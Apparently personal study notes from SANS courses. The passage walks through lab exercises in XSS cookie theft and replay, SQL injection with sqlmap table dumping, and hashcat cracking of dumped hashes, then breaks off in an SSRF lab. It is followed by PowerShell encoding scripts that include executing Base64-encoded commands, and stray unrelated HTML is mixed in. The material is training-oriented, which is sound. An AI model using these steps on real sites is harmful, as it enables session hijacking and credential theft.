*In the background, we have simulated an administrator user falling for the attack. Normally, it would take longer for an admin to access the script content you placed on the target site in the stored XSS attack. If you don’t have any new output in your cookie catcher window, return to the section Exploiting XSS Enter Malicious URL and make sure the attack JavaScript is entered correctly. Also ensure that your eth0 interface has an IP address of 10.10.75.1. Resubmit the attack JavaScript, then return to this step.*

Press CTRL + C to close the PHP cookie catcher web server. List the contents of the directory to see the new cookies.log file, as shown here. The cookies.log file records the information sent by the victim browser in JSON format. We can display the contents of this file with cat, as shown here:

{“GET”:{“authtoken”:”77ba9cd915c8e359d9733edcfe61e5aca92afb”}, “POST”:[], “headers”:{“Host”:”10.10.75.1:2222”, “Connection”:”keep-alive”,”Upgrade-Insecure-Requests”:”1”,”User-Agent”:”Mozilla\/5.0(X11; Linux x86\_64) AppleWebKit \/ 537.36 (KHTML, Like Gecko) HeadlessChrome \/ 91.0.4472.77 Safari \/ 537.36”, “Accept”,”text\/html,application\/xhtml+html, application \/xml; q=0.9,image\/ avif,image\/ webp, image \/ apng, \*\/\*; q=0.8,application\/signed-exchange;v=b3;q-0.9”,”Referrer”:”http”:\/\/ 127.0.0.1\/”,”Accept-Encoding”:”gzip,deflate”,”Accept-Language”:”en-US”}}

This output is hard to read, but we can pipe the data to the JSON processor utility jq to get nicely formatted and color-coded output, as shown here.

sec504@slingshot:~/labs/cookiecatcher$ jq “.” cookies.log

Here we see the victim sent a HTTP GET request, which included a parameter authtoken, followed by the token value. There are no elements in the POST portion of the output (since the request was *GET,* not *POST*). The browser request headers are also sent in the headers block, disclosing the full user agent information.

*This is one example of an XSS attack. Consider for a second what has happened here. We used the XSS to send arbitrary JavaScript to the victim, telling the victim’s browser to make an HTTP request to the attacker. In the HTTP request, we added the document.cookie value, something that would not otherwise be accessible to the attacker.*

Next, we’ll look at how an attacker would leverage the retrieved cookie content.

**Access Admin Page with the Victim Cookie**

Next, we want to use the victim cookie to gain escalated access on the administrative page on the target site. For this task, we will use the cURL utility to create an HTTP request against a web server. Launch the curl command using the -b argument to specify the stolen cookie value with the target admin page for the URL, as shown here.

sec504@slingshot:~$ curl -b authtoken=77ba9cd915c8e359d9733edcfe9c61e5aca92afb “<http://www.rookaviary.com/admin.php>”

*The output of the curl command has been trimmed for space.*

In the output of the curl command, we see that we have accessed the administration page successfully, using the stolen cookie content!

*Examine the output of the curl command on your system carefully. There is also a useful tip for the CTF buried in there!*

**Conclusion**

Now that you have seen an XSS attack hands-on, it is useful to reflect on how just dangerous these vulnerabilities can be. Remember, your web applications are often a direct portal into your organization’s data. If an attacker can steal valid user sessions, they can leverage the access to access the potentially sensitive data resources.

**Why This Lab is Important**

Public web applications are a common attack target for adversaries. Once an exploitable flaw is discovered, your web application is at the mercy of the attacker. In many respects, it is as if the attacker has been granted a VPN that lets them have direct and unfettered access to your systems. All manner of fraud is made available.

**Add Cookie to Firefox Using Browser Developer Tools**

Make use of the Firefox browser developer tools to alter the cookie value instead of using cURL and individual requests. First, copy the authtoken cookie value into your clipboard, from the value shown below or from the Cookie Catcher data observed earlier in this lab.

77a9cd915c8e359d9733edcfe96c51e5aca92afb

Next, return to Firefox and navigate to the Rook Aviary admin page. Open the Web Developer Tools by pressing Ctrl + Shift + K. You will see a new collection of tabbed windows in the bottom of the browser. Click on the Storage tab, as shown here. In the Storage tab, Firefox will display the cookie authtoken in the Cookies group automatically. Double-click on the cookie value from the clipboard into the value input box, then press Enter. The new cookie value will appear next to the authtoken cookie name, as shown here.

Refresh the browser to send the modified cookie value to the server. You will see the message *Welcome, Admin!* As shown here.

Welcome, Admin!

The key to winning the 504 CTF is to Exploit > Dump and Crack Passwords > Use Passwords

========================================================================

Admin access log:

07/28/2023 01:46:25: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:101.0) Gecko/20100101 Firefox/101.0

07/28/2023 01:49:51: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:101.0) Gecko/20100101 Firefox/101.0

**Second Stored XSS Vulnerability Identification**

There is a second stored XSS vulnerability in the Rook Aviary admin.php page. Identify this vulnerability by making an unauthenticated request on the server, which leads to a stored XSS against the victim. Hint, you can adjust the XSS attack using the command line curl utility; read the man page for curl, paying attention to the -A argument.

**Cleanup**

Return to the terminal where you can goweblab. Press CTRL + C to stop the server container.

**Lab 4.5: SQL Injection Attack**

**Brief Intro**

In this lab, we will finish our evaluation of the Rook Aviary website as part of the due diligence evaluation prior to acquisition by Falsimentis, Corp. This time we’ll identify and exploit a SQL injection vulnerability in the target website.

**Try It Yourself**

Start the target website by running goweblab from the terminal. Evaluate the Rook Aviary website at [http://www.rookaviary.com](http://www.rookaviary.comm), conducting a manual assessment to identify a SQL injection vulnerability. After identifying the vulnerable page, exploit the server using Sqlmap to obtain access to back-end database resources.

**Walkthrough - SQL Injection Attack**

**Open a Terminal**

From the Slingshot Linux VM, open a terminal.

**Start the Server**

Start the Rook Aviary website Docker container by running the goweblab script, as shown.

*Leave the goweblab script running for the duration of this exercise.*

**Open Browser**

Next, open the Firefox browser. Minimize the root access terminal window to see the Slingshot desktop. Double-click on the Firefox icon to launch Firefox and navigate to the Rook Aviary site.

**Investigate the Employee Directory**

In this lab exercise, we will direct our attention to the Employee Directory functionality of the Rook Aviary website. Navigate to the *Employee Directory* by clicking on the *Directory* link at the top of the browser. Enter a search term such as admin then click Submit. This search term will return one search result, as shown here. So far we know that the site accepts a search term and returns a result. Next we’ll determine if it is also susceptible to SQL injection.

**Test for SQL Injection**

Conduct another search, this time entering the search term admin’ (admin with a single quote at the end). Click Submit and inspect the response from the server.

Here we see an error that reveals several pieces of information:

* There is a backend database supporting the web application
* The backend database uses SQL
* The database type is MariaDB (a compatible MySQL replacement with an open-source license)
* The query submitted as part of the employee directory search uses the SQL wildcard character %
* Our search term of admin’ is likely concatenated to the SQL syntax, which returns an error

*This error message is indicative of a SQL injection vulnerability. However, SQL injection vulnerabilities can also be subtle. The absence of an error message does not necessarily mean the system is not vulnerable!*

**Confirming SQL Injection**

Now see if you can confirm that the vulnerable to SQL injection by attempting to obtain more records from the database than the developer may have anticipated. In the Employee Directory, enter ‘ or ‘1’=’1 into the Name field, as shown below. Double-check your search syntax, then click Submit. The server will return a response that looks similar to the example below.

By entering a search term of ‘ or ‘1’ = ‘1, we have manipulated the SQL statement created by the website developer. This crafted search produces a SQL statement that will look like SELECT \* FROM users WHERE username=’’ OR ‘1’=’1’;. Since 1 always equals 1, all usernames are retrieved from the database. At this point, you have confirmed that the site is vulnerable to SQL injection. However, the real opportunity for the attacker is not in manipulating the query to return more records than anticipated, but to collect data from more sources than anticipated.

**Testing for SQL Injection Vulnerabilities with Sqlmap**

We’ve confirmed that that the web application is vulnerable to SQL injection attacks through manually creating queries. Next, we’ll automate the process of collecting additional information from the site using Sqlmap. When using Sqlmap, it is important to remember two rules:

1. Always give Sqlmap a valid URL that does not trigger an error.
2. Always type the URL with quotation marks at the beginning and the end.

From the Firefox browser, click on the Directory link in the Rook Aviary navigation bar to return to the empty search page. Enter the search term admin, then click the Submit button. You will see search results matching the query we performed earlier in the lab, but this time, note the URL bar, as shown in the example here.

Employee Directory >======= Search Name </Submit>

Well, more like

<div>

<p class="name">freeCodeCamp</p>

<button>Change to Blue</button>

</div>

Name: Derek Rook

Email: [r00k@ras.tot](mailto:r00k@ras.tot)

For the Search function, the Rook Aviary website uses GET-based queries, sending parameters in the URL bar. Click to highlight the URL bar, then right-click and copy the entire URL into your clipboard. Next, open a new terminal window. Run the Sqlmap tool, pasting the URL following the Sqlmap -u argument, as shown here. Enter to run Sqlmap, evaluating the supplied URL for a SQL injection vulnerability. When prompted, press *Enter* to accept the default options in Sqlmap.

*Sqlmap’s color scheme may be difficult to read in a terminal with a light background. If desired, you can change to a dark background in the terminal by clicking Terminal | Change Profile | Dark.*

sec504@slingshot:~$ sqlmap -u “<http://www.rookaviary.com/email_search.php?search=admin>”

[11:07:15] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own (‘authtoken=da4b9237bac…a8359010b0’). Do you want to use those [Y/n]

[11:07:16] [INFO] checking if the target is protected by some kind of WAF/IPS…

GET parameter ‘search’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]

Sqlmap identified the following injection point(s) with a total of 95 HTTP(s) requests:

…

Parameter: search (GET)

Type: boolean-based blind- WHERE or HAVING clause (MySQL comment)

Payload: search=-6330’ OR 9331=9331#

<...SNIPPED…>

*Press Enter to accept the default options when prompted by Sqlmap.*

**Enumerating Databases with Sqlmap**

In addition to identifying a webpage and parameter that is vulnerable to SQL injection, Sqlmap can also leverage the vulnerability to enumerate from the vulnerable site. Press the up arrow in the Slingshot terminal to return to the previous Sqlmap command. At the end of the command line, add the argument –dbs to enumerate the available databases on the target site. Press Enter to issue the command. When prompted, press *Enter* to accept the default responses during the Sqlmap attack.

*The Sqlmap output below has been trimmed for space.*

sec504@slingshot:~$ sqlmap -u “<http://www.rookaviary.com/email_search.php?search=admin>” –dbs

…

[11:10:44][INFO] The backend DBMS is MySQL web application technology: Nginx 1.20.1, PHP 7.4.20 back-end DBMS: MySQL >= 5.0 (MariaDB fork)

[11:10:44][INFO] fetched data logged to text files under ‘/home/sec504/.local/share/sqlmap/output/[www.rookaviary.com](http://www.rookaviary.com)’

[\*] Ending at 11:10:44 /2021–06-06/

With the –dbs parameter, Sqlmap enumerates the available *database schemas* on the target output site. The output identifies three database schemas available: information\_schema (a built-in MySQL/MariaDB default), test, and web\_app. Next, we’ll enumerate the available tables in the web\_app database schema.

**Enumerating Tables with Sqlmap**

From the Slingshot terminal, press the up arrow again to return to the prior command. Remove the –dbs portion of the command line, adding two parameters: -D web\_app (to specify the target database schema) and –tables (to list the available tables in the database). When prompted, press *Enter* to accept the default responses during the Sqlmap attack. Here Sqlmap reveals that the web\_app schema has two tables: comments and users. Next, we’ll retrieve the contents of the users table.

**Dumping Table Content with Sqlmap**

Press the up arrow again to return to the prior command. Remove the –tables argument, replacing it with two arguments: -T users (to specify the users table) and –dump to exfiltrate the contents of the table. Press Enter to accept the default response when Sqlmap asks if you want to use the server-provided cookies. However, when Sqlmap retrieves the data from the database, it will prompt you to store the password hashes to a temporary file; answer y when prompted. Sqlmap will also prompt you to mount a dictionary-based password attack against the hashes. Sqlmap’s support for password cracking is convenient but slow. Answer n when prompted.

sec504@slingshot:~$ sqlmap -u “<https://www.rookaviary.com/email_search.php?search=admin>” -D web\_app -T users –dump

[11:13:25][INFO] the back-end DBMS is MySQL web application technology: Nginx 1.20.1, PHP 7.4.20 back-end DBMS: MySQL >= 5.0 (MariaDB fork)

[11:13:25][INFO] fetching columns for table ‘users’ in database ‘web\_app’

[11:13:25][INFO] fetching entries for table ‘users’ in database ‘web\_app’

[11:13:25][INFO] recognized possible password hashes in column ‘password’

Do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] Y

[11:13:29][INFO] writing hashes to a temporary file ‘/tmp/sqlmapdGG5pL11969/sqlmaphashes-J3ImxU.txt’

Do you want to crack them via a dictionary-based attack? [Y/n/q] n

Database: web\_app

Table: users

[6 entries]

<...SNIPPED…>

[11:13:40][INFO] table ‘web\_app.users’ dumped to CSV file ‘/home/sec504/.local/share/sqlmap/output/[www.rookaviary.com/dump/web\_app/users.csv](http://www.rookaviary.com/dump/web_app/users.csv)’

[11:13:40][INFO] fetched data logged to text files under ‘/home/sec504/.local/share/sqlmap/output/[www.rookaviary.com](http://www.rookaviary.com)’

[\*] ending at 11:13:40 /2021-06-06/

**Examine Password Hashes**

Sqlmap will save the password hash information to a temporary file in the /tmp directory. Examine the contents of the file using the cat tool, as shown here.

sec504@slingshot:~$ cat /tmp/sqlmap\*/sqlmap\*.txt

jleytevidal:\*38030A5A56F5FBB5F6A51AD6EF94A34603D

…

(5 more rows)

…

*NOTE: If you get the error No such file or directory when running the cat command, press the up arrow and return the last sqlmap command, answering y when prompted to store hashes to a temporary file.*

The asterisk in front of the password hash value and the knowledge that these passwords came from a MySQL/MariaDB server are both indicators that these password hashes are MySQL password hash combinations. These hash values could be useful against a target system. An attacker could crack it using traditional password cracking techniques and then log in to an administrative interface on session on the web server.

**Conclusions**

SQL injection attacks can have a significant impact on a web application. Not only does it create an attacker opportunity for sensitive information disclosure from the database, it may also grant an attacker remote shell access to the target web server. Fortunately, SQL injection attacks are not subtle, creating multiple opportunities to identify and evaluate the effectiveness of the attack. In the next exercise, we’ll look at techniques to assess the logging evidence left behind after a SQL injection attack.

**Bonus (If Time Permits or Homework)**

**Password Cracking**

*Question: What is the password for the jleytevidal user?*

Use the Sqlmap temporary password hash file with Hashcat to crack passwords. By default, Hashcat will be unable to recognize the password hash type, returning the error *no hash mode matches*. In order to get Hashcat to recognize the hash type, remove the asterisk from the beginning of each password hash using sed, as shown here.

sec504@slingshot:~$ sed -i ‘s/:\\*/:/’ /tmp/sqlmap\*/sqlmap\*.txt

sec504@slingshot:~$ cat /tmp/sqlmap\*/sqlmap\*.txt

As an alternative to sed, you can edit the hash file with gedit or any other text editor to manually remove the asterisk characters. Even after removing the asterisk from the Sqlmap password hash list, Hashcat will indicate the same *No hash mode matches* error. This is because Hashcat is not expecting the username information that appears before the password hash. Remember that, sometimes, hash mode autodetect requires that we specify –user to allow Hashcat to parse the password hash information correctly. Add this argument to your Hashcat straight wordlist attack against the Sqlmap password hashes. After adding the necessary –user argument, and modifying the password hashes to remove the asterisk character, Hashcat will display several matching password hashes. Choose hash mode 300 (MySQL4.1/MySQL5) by specifying -m 300.

Hashcat will find the password for the jleytevidal user with the password list file in /usr/share/wordlists/passwords.txt, as shown here.

sec504@slingshot:~$ hashcat -a 0 /tmp/sqlmap\*/sqlmap\*.txt /usr/share/wordlists/passwords.txt –user -m 300

Hashcat (v6.2.5) starting

…

Started: Tue Jun 20 10:03:54 2023

Stopped: Tue Jun 20 10:04:10 2023

sec504@slingshot:~$ hashcat /tmp/sqlmap\*/sqlmap\*.txt –user -m 300 –show

Answer: The password for the user jleytevidal is *Florida1.*

***Question: What is the password for the rogrady user?***

Hashcat won’t find the password for the rogrady user with the passwords.txt wordlist. However, consider adding –rules and the best64 rule to permutation the tested passwords. Hashcat will recover the password for rogrady using the passwords.txt wordlist when used in conjunction with the best64 rules file, as shown here.

Hashcat will recover the password for rogrady using the passwords.txt wordlist when used in conjunction with the best64 rules file, as shown here.

sec504@slingshot:~$ hashcat -a 0 /tmp/sqlmap\*/sqlmap\*.txt /usr/share/wordlists/passwords.txt –user -m 300 –rules /opt/hashcat/rules/best64.rule

sec504@slingshot:~$ hashcat /tmp/sqlmap\*/sqlmap\*.txt –user -m 300 –show

rogrady:ddbf75d02d1d212128c61e35695edeba792c3e66:Vagrant0

Answer: The password for the user rogrady is *Vagrant0.*

**More SQL Injection Testing**

Evaluate the SQL injection target website for testing and learning available at <http://testphp.vulnweb.com>. From Slingshot Linux, configure your system to connect to the internet by running connect-net, as shown here.

sec504@slingshot:~$ connect-net

Connected.

Done.

Use Firefox to connect to the <http://testphp.vulnweb.com> website. Experiment with the pages that accept user input, then test the site for SQL injection vulnerabilities using Sqlmap. When you are finished, run connect-lab to revert to lab network settings.

**Cleanup**

Remove the Sqlmap session data for the Rook Aviary vulnerability, as shown here.

sec504@slingshot:~$ rm -fr ~/.local/share/sqlmap/

Next, return to the terminal where you ran goweblab. Press CTRL + C to stop the server container.

**Lab 4.6: Cloud SSRF and IMDS Attack**

In this lab, you will evaluate the [intern.falsimentis.com](http://intern.falsimentis.com) server, leveraging a Server-Side Request Forgery (SSRF) attack to gain access to Instance Metadata Service (IMDS) data.

**Try It Yourself**

Run gossrf to setup the target environment. Access the Falsimentis Internship Application site at [intern.falsimentis.com](http://intern.falsimentis.com). Identify and exploit the SSRF vulnerability on the site to gain access to the website source code (index.html) to retrieve embedded password information. Exploit the SSRF vulnerability to also gain access to AWS credentials through the IMDS server.

**Walkthrough - Open a Terminal**

From the Slingshot Linux VM, open a terminal.

**Start the Simulated Cloud VM**

From the Slingshot Linux terminal, run gossrf to launch the simulated cloud environment, as shown here.

sec504@slingshot:~$ gossrf

2021-05-16 10:16:13, 696 INFO Set uid to user 0 succeeded.

2021-05-16 10:16:13, 698 INFO supervsiord started with pid 6

2021-05-16 10:16:14, 701 INFO spawned:’nginx’ with pid 8

**Visit the Intern Apply Page**

From Firefox, click the Apply link in the top of the site to visit the intern application form. Examine the fields on this page.

*Note that one of the fields asks the applicant to submit a published work product URL, as shown here. When a site requests a URL as a data element, it may be vulnerable to an SSRF attack.*

**Prepare the Attack**

To continue to explore the vulnerability, you will need to include a URL as part of the form submission process. Open a new terminal from Slingshot Linux and navigate to the ~/labs/www directory, listing the directory contents, as shown here.

sec504@slingshot:~$ cd ~/labs/www/

sec504@slingshot:~/labs/www$ ls

Circuitboard.jpg

For this lab we have included a sample circuit board image that you use as part of the Falsimentis Intern form subscription. You can display the file using the Eye of MATE (eom) utility, as shown here.

sec504@slingshot:~/labs/www$ eom circuitboard.jpg

*When launching Eye of MATE, you will see the message: Error loading Eom typelib; this message can be safely ignored.*

Close Eye of MATE to continue. From the terminal, start a local web server using python3 to deliver the image file to the remote site, as shown here.

sec504@slingshot:~/labs/www$ sudo python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (<http://0.0.0.0:80/>)...

By running the Python http.server module, we can use the Slingshot Linux IP address to serve the circuit board image as a remote URL (<http://10.10.75.1/circuitboard.jpg>).

**Complete the Intern Application Form…**

**SEC505 (GCWN) Securing Windows and PowerShell Automation - scripts to try out in my own time (sandboxed)**

**##############################################################################**

**# A couple of functions for coverting to/from Base64 and US-ASCII, as defined in RFC4648.**

**# Both functions can accept piped input.**

**# Legal: Public Domain, No Warranties or Guarantees of Any Kind, USE AT YOUR OWN RISK.**

**##############################################################################**

**function Convert-FromBase64ToAscii**

**{**

**[CmdletBinding()]**

**Param( [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] $String )**

**[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($String))**

**}**

**function Convert-FromAsciiToBase64**

**{**

**[CmdletBinding()]**

**Param( [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] $String )**

**[System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($String))**

**}**

**##############################################################################**

**# The same functions as above, but for Unicode (UTF16-LE) instead of US-ASCII.**

**##############################################################################**

**function Convert-FromBase64ToUnicode**

**{**

**[CmdletBinding()]**

**Param( [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] $String )**

**[System.Text.Encoding]::UNICODE.GetString([System.Convert]::FromBase64String($String))**

**}**

**function Convert-FromUnicodeToBase64**

**{**

**[CmdletBinding()]**

**Param( [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] $String )**

**[System.Convert]::ToBase64String([System.Text.Encoding]::UNICODE.GetBytes($String))**

**}**

**##############################################################################**

**# Convert an array of bytes to/from Base64 when read from a binary file.**

**# File does not have to be binary, but it will be read/written as raw bytes.**

**# Example: dir file.exe | Convert-FromFileBytesToBase64 | Convert-FromBase64ToFile -Path file2.exe**

**##############################################################################**

**function Convert-FromBinaryFileToBase64**

**{**

**[CmdletBinding()]**

**Param**

**(**

**[Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] $Path,**

**[Switch] $InsertLineBreaks**

**)**

**if ($InsertLineBreaks){ $option = [System.Base64FormattingOptions]::InsertLineBreaks }**

**else { $option = [System.Base64FormattingOptions]::None }**

**[System.Convert]::ToBase64String( $(Get-Content -ReadCount 0 -Encoding Byte -Path $Path) , $option )**

**}**

**function Convert-FromBase64ToBinaryFile**

**{**

**[CmdletBinding()]**

**Param( [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] $String ,**

**[Parameter(Mandatory = $True, Position = 1, ValueFromPipeline = $False)] $OutputFilePath )**

**[System.Convert]::FromBase64String( $String ) | Set-Content -Path $OutputFilePath -Encoding Byte**

**}**

**##############################################################################**

**# Execute a command encoded in Base64**

**##############################################################################**

**$encodedcmd = Convert-FromUnicodeToBase64 -String "ps" # Which is "cABzAA==" by the way.**

**invoke-expression -Command $(Convert-FromBase64ToUnicode -String $encodedcmd)**

**#Here is another way, by dot-sourcing a script block:**

**. $( [SCRIPTBLOCK]::Create("ps") )**

**#Same thing, but now Base64-encoded instead:**

**. $( [SCRIPTBLOCK]::Create( $(Convert-FromBase64ToUnicode -String $encodedcmd) ))**

**# See also the -EncodedCommand command-line switch for powershell.exe too.**

**﻿<# ###########################################################################**

**\*Glyphs and Unicode\***

**A glyph is a visual symbol seen by a human on a page of paper or screen. We**

**often call these "characters", but the term "character" is ambiguous: Is it**

**what you see? The name of what you see? The binary representation in**

**memory or storage for what you see? For example, if "A" is shown in both**

**italics and in bold with the Arial font, are these two characters or just one?**

**As a glyph, we would say they are the same glyph but shown in two ways with**

**the same font. So, what makes them the same despite their different shapes?**

**Unicode is a system which aims to map all glyphs to unique numbers called**

**"code points". There are not separate code point numbers for each font or**

**shape of a glyph, like Arial italics or New Times Roman bold, but to all**

**possible shapes and fonts of that one glyph. A glyph is an abstraction of a**

**symbol apart from any font, size, color, or other minor change of shape.**

**\*Unicode Encoding\***

**A Unicode code point number for a glyph is either 16 or 32 bits long. Many**

**glyphs require only 16 bits to be numbered, and most glyphs used in Western**

**Europe and USA only actually need 8 bits of a 16-bit code point; after all,**

**ASCII includes USA letters, numbers and puntuation marks in 8 bits or less.**

**A 16- or 32-bit code point number often includes many zeros which do not**

**convey information, hence, there are various ways to encode these binary**

**numbers to avoid consuming unnecessary storage space or bandwidth, even though**

**this comes at the price of encoding/decoding complexity.**

**A Unicode code point number can be encoded using one to four single-byte units**

**(UTF-8), as one or two 16-bit units (UTF-16) or as a single 32-bit unit**

**(UTF-32). UTF-32 is rarely used because it does not conserve storage space.**

**UTF-16 is common on Windows, in the .NET Framework, and in Java. UTF-8 is**

**common on Linux and with Internet protocols. When Microsoft says that Windows**

**uses "Unicode", it is more accurate to say that Windows uses little-endian**

**UTF-16 encoding of Unicode. (Incidentally, "UCS-2" is an obsolete term which**

**just means "UTF-16" today.) UTF-7 is a seven-bit encoding of Unicode which**

**is used for SMTP e-mail and virtually nothing else. Avoid UTF-7.**

**UTF-16 and UTF-32 encodings can be big-endian or little-endian, which refers**

**to the ordering of bytes in an encoding which uses two or more bytes per unit**

**to represent a Unicode code point. Because UTF-8 uses one to four single-byte**

**units, UTF-8 is neither big- nor little-endian. The endian-ness of an**

**UTF-16/32 encoding can be abbreviated as "LE" or "BE"; for example, Windows API**

**function calls normally expect strings to be UTF-16LE encoded.**

**Because of the confusion LE or BE encoding may cause, a string might optionally**

**begin with a "Byte Order Mark" (BOM), which is a set of special non-printing**

**Unicode code point numbers at the beginning of an encoded string that act as a**

**decoding hint (see http://www.unicode.org/faq/utf\_bom.html). These complexities**

**are another reason to always prefer UTF-8 when possible (www.utf8everywhere.org).**

**\*Code Pages and US-ASCII\***

**A "code page" is also a mapping between glyphs and patterns of 7, 8, 16 or**

**more bits. There are many code page mapping sets from different countries,**

**different manufacturers, and even for different versions of the same OS or**

**program. Code pages historically predate Unicode; in fact, the limitations**

**and difficulties of code pages was one driver for inventing Unicode. Most**

**code pages are single-byte, but others, especially for Asian glyphs, have**

**units which are two or more bytes. In the USA, the most common code pages**

**are named "US-ASCII", "Windows-1252" and "IBM437". UTF-7 and UTF-8 are also**

**implemented as code pages. While most applications and protocols today use**

**either UTF-16 or UTF-8 encodings of Unicode, not code pages, older applications**

**still require the use of code pages. Windows supports many code pages and**

**includes several functions for converting between Unicode and a code page**

**(the characters in a code page will be a subset of Unicode, but Unicode will**

**have many thousands of characters which cannot be represented in any**

**particular code page, hence, a conversion from Unicode to a code page may**

**involve loss of information).**

**\*Unicode in Windows PowerShell\***

**POWERSHELL.EXE is a console application with limited support for displaying**

**Unicode code points. If a TrueType font is selected, then more glyphs can**

**be displayed, but this depends on what is included in the font definition.**

**POWERSHELL\_ISE.EXE is actually a Windows application and can display a much**

**larger number of glyphs for Unicode code points. Font limitations still**

**apply, but Windows applications have access to many more fonts by default,**

**and more fonts can easily be installed, such as with an Asian language pack.**

**To see the difference, run this command in both POWERSHELL and POWERSHELL\_ISE:**

**256..5000 | foreach { write-host -NoNewline -Object ([char] $\_) }**

**A substitute glyph like "৾" indicates an unavailable font for the code point.**

**Keep in mind that displaying a glyph on-screen is not the same thing as**

**manipulating bytes of data. Just because the console PowerShell cannot**

**display all the glyphs in a UTF-16 encoded text file does not mean that**

**PowerShell cannot edit, copy, upload or otherwise manipulate that file.**

**\*UTF-8 in PowerShell Core\***

**While Windows PowerShell defaults to UTF-16, PowerShell Core defaults**

**to UTF-8 with no Byte Order Mark (BOM) pattern at the beginning.**

**For a discussion of the issues in PowerShell Core, see the following:**

**https://github.com/PowerShell/PowerShell-RFC/issues/71#issuecomment-306614751**

**https://github.com/PowerShell/PowerShell/issues/4681**

**########################################################################### #>**

**# List possible code page names and identifier numbers:**

**[System.Text.Encoding]::GetEncodings() | Format-Table -AutoSize**

**# Get a particular code page by name or identifier number:**

**[System.Text.Encoding]::GetEncoding("x-cp50227") #Chinese Simplified (ISO-2022)**

**[System.Text.Encoding]::GetEncoding(50227) #Chinese Simplified (ISO-2022)**

**# Get the current encoding for console PowerShell output and input:**

**[System.Console]::OutputEncoding**

**[System.Console]::InputEncoding**

**# Set the encoding for the PowerShell console's output to Chinese Simplified (ISO-2022):**

**# Note that this will not start displaying all glyphs/characters in Chinese.**

**[System.Console]::OutputEncoding = [System.Text.Encoding]::GetEncoding("x-cp50227")**

**[System.Console]::OutputEncoding = [System.Text.Encoding]::GetEncoding(50227)**

**# Show which encoding is used when the output of a cmdlet is piped into**

**# native command (defaults to US-ASCII for backwards compatibility):**

**$OutputEncoding**

**# Set the encoding to UTF-8 when a cmdlet's output is piped into a native command:**

**$OutputEncoding = [System.Text.Encoding]::GetEncoding("utf-8")**

**# Some cmdlets with an -Encoding parameter:**

**Out-File**

**Get-Content**

**Set-Content**

**Add-Content**

**Export-Clixml**

**Export-Csv**

**Import-Csv**

**Select-String**

**# Change the encoding of a text file from ASCII to UTF-8:**

**Get-Content -Encoding ASCII -Path .\ascii.txt | Set-Content -Encoding UTF8 -Path .\utf8.txt**

**# An experiment: view these files with a hex editor and note the byte-width of**

**# each character unit, Byte Order Mark (BOM), and newline bytes, if any:**

**"AAAAAAAA" | Out-File -Encoding utf32 -FilePath .\utf32.txt**

**"AAAAAAAA" | Out-File -Encoding unicode -FilePath .\utf16-LE.txt**

**"AAAAAAAA" | Out-File -Encoding utf8 -FilePath .\utf8.txt**

**"AAAAAAAA" | Out-File -Encoding ascii -FilePath .\ascii.txt**

**"AAAAAAAA" | Out-File -Encoding bigendianunicode -FilePath .\utf16-BE.txt**

**# Common Byte Order Mark (BOM) patterns:**

**$BOM = @{**

**"UTF8" = 0xEF,0xBB,0xBF # UTF-8 usually does not include BOM however.**

**"UTF16LE" = 0xFF,0xFE # Microsoft "Unicode" is UTF-16LE.**

**"UTF16BE" = 0xFE,0xFF # Windows PowerShell defaults to UTF-16LE.**

**"UTF32LE" = 0xFF,0xFE,0x00,0x00 # PowerShell Core defaults to UTF-8 (no BOM).**

**"UTF32BE" = 0x00,0x00,0xFE,0xFF**

**}**

**<# #######################################################################################**

**Be careful of unexpected encoding conversion, BOM and newline bytes when saving to a file!**

**# The following converts to UTF16-LE ("Unicode") with BOM and newline bytes.**

**"AAAAA" | out-file c:\temp\password1.txt**

**# The following adds newline bytes (0D,0A) to the end without asking.**

**"AAAAA" | out-file c:\temp\password2.txt -Encoding ascii**

**# The following writes only the raw bytes: no BOM, no Unicode, no newline bytes.**

**$("AAAAA").ToCharArray() | foreach { [byte] $\_ } | Set-Content -Path c:\temp\password3.txt -Encoding Byte**

**When converting from one string encoding to another, first convert the starting**

**string to raw bytes, convert to the desired encoding, then convert back to a string**

**again. To test for correctness, view the raw bytes before and after, but avoid**

**doing so by saving those bytes to a file because of unexpected encoding conversions,**

**Byte Order Mark (BOM) byte prepending, and newline bytes appending.**

**####################################################################################### #>**

**#An advantage of using an UTF encoding (8-bit, 16-bit or 32-bit) is that**

**#non-western characters can be represented, such as ancient Greek:**

**$AncientGreek = @'**

**Πᾶσα τέχνη καὶ πᾶσα μέθοδος, ὁμοίως δὲ πρᾶξίς τε καὶ προαίρεσις,**

**ἀγαθοῦ τινὸς ἐφίεσθαι δοκεῖ· διὸ καλῶς ἀπεφήναντο τἀγαθόν, οὗ πάντ᾽ ἐφίεται.**

**διαφορὰ δέ τις φαίνεται τῶν τελῶν· τὰ μὲν γάρ εἰσιν ἐνέργειαι, τὰ δὲ παρ᾽ αὐτὰς**

**ἔργα τινά. ὧν δ᾽ εἰσὶ τέλη τινὰ παρὰ τὰς πράξεις, ἐν τούτοις βελτίω πέφυκε τῶν**

**ἐνεργειῶν τὰ ἔργα. πολλῶν δὲ πράξεων οὐσῶν καὶ τεχνῶν καὶ ἐπιστημῶν πολλὰ**

**γίνεται καὶ τὰ τέλη· ἰατρικῆς μὲν γὰρ ὑγίεια, ναυπηγικῆς δὲ πλοῖον, στρατηγικῆς**

**δὲ νίκη, οἰκονομικῆς δὲ πλοῦτος. διαφέρει δ᾽ οὐδὲν τὰς ἐνεργείας αὐτὰς εἶναι τὰ**

**τέλη τῶν πράξεων ἢ παρὰ ταύτας ἄλλο τι, καθάπερ ἐπὶ τῶν λεχθεισῶν ἐπιστημῶν.**

**'@**

**# Function to convert a string from one encoding to another, or to the raw bytes**

**# of the target encoding without converting back to a string object again.**

**function Convert-StringEncoding ($StartingEncoding, $EndingEncoding, $String, [Switch] $RawBytes)**

**{**

**#.Parameter Encoding**

**# Must be UNICODE, ASCII, UTF8, UTF32, or UTF16-BE.**

**#.Parameter RawBytes**

